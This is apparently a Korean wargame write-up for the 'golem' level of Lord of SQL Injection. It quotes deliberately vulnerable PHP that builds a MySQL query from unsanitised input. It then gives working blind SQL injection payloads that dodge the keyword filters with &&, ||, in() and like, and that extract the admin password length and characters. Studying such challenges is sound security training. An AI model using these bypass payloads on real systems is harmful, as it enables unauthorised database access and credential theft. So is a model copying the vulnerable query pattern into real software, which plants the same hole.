[LOS] GOLEM

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

Blind Sql Injection 문제. 

여러 필터링들이 있다.

 

 

우회

 

and 필터링 -> &&

or 필터링 -> ||

= 필터링 -> in(), like

 

+ 참고 인코딩값

&& -> %26%26

|| -> %7C%7C

 

 

query : select id from prob_golem where id='guest' and pw='123' || id in('admin') && length(pw) like 8&& '1'

-> true

비밀번호 8자리.

 

 

query : select id from prob_golem where id='guest' and pw='123' || id in('admin') && ascii(right(left(pw,i),1)) like j && '1'

i = 1~8 , j = 아스키문자값들로 값을 바꿔주면서 전체 비밀번호를 알아낸다. (나는 프로그램을 돌렸다.)

 

 

query : select id from prob_golem where id='guest' and pw='77d6290b'